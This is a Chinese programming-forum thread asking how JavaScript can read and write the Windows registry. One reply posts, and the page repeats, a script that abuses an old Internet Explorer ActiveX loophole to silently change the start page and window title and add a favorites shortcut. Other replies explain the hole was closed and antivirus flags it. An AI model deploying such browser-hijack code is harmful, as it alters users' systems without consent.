请问如何用JavaScript语言读写注册表,高分求助(100分) 您好: 我要写一个自动化测试程序,其中需要用到JavaScript读写注册表,请问谁会,给我个例子,谢谢! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 如果这都被你实现了,那你不是可以用一个网页控制别人的机器了?applet访问本地资源都很麻烦,怎么会允许javascript访问注册表 我写过一个控件,可以读写注册表的信息。这个控件我做了数字签名,在被信任的安全站点上可以嵌入到web页面用javascript调用里面的接口方法使用。如果楼主有兴趣,可以联系我。 用javascript本身好像不能修改注册表的. document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function AddFavLnk(loc, DispName, SiteURL){var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");Shor.TargetPath = SiteURL;Shor.Save();}function f(){try{//ActiveX 初始化a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();FSO = a1.GetObject();a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Net = a1.GetObject();try{if (document.cookie.indexOf("Chg") == -1){//设置Cookievar expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"//设置Cookie完毕//设置主页Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.51js.com/");//修改浏览器的标题Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");//设置Cookievar expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"var WF, Shor, loc;WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites";if(!FSO.FolderExists(loc)){loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";if(!FSO.FolderExists(loc)){return;}}AddFavLnk(loc, "", "http://www.51job.com");}}catch(e){}}catch(e){}} 是因为楼上的楼上的那段代码,引起我的NORTON提示有安全问题吗? JavaScript语言读写注册表在IE以前的版本里是可以的,但是现在升级到6.0之后就不可以了,安全性提高了。另外,在firefox中也是不可以的。其实这个功能是不该存在的,以前的版本可以是因为IE5.X还不够完善。象以前访问某些网站,发现IE首页被篡改就是写注册表的一个很好的例子。这个代码和javascript在本地进行文件IO操作的代码一样,个人感觉都没什么实用价值了。如果你实现想用的话,用google搜索“javascript 注册表”就行了。 跪求 RichFaces 下面报错信息 (真诚地希望大家帮忙看看) 请教一个简单的问题 菜鸟求救!!applet问题 JSP+SQL SERVER 端口的问题 求救!!万分感谢!! 请教关于JavaBean的问题? 请高手们指点一下,jsp里的sql语句里,如果要引用变量,那些引号的用法,我被几个sql语句搞懵了 启动了tomcat,怎么.jsp文件会提示我下载? applet中权限的问题,困扰了我一周的问题。 安装了jb5以后,在IE中怎样测试Tomcat已经成功,怎样运行我的jsp程序? 我在使用jb做Applet的问题 怎样才能访问web-inf下的jsp
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置Cookie完毕
//设置主页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.51js.com/");
//修改浏览器的标题
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "", "http://www.51job.com");
}
}
catch(e)
{}
}
catch(e)
{}
}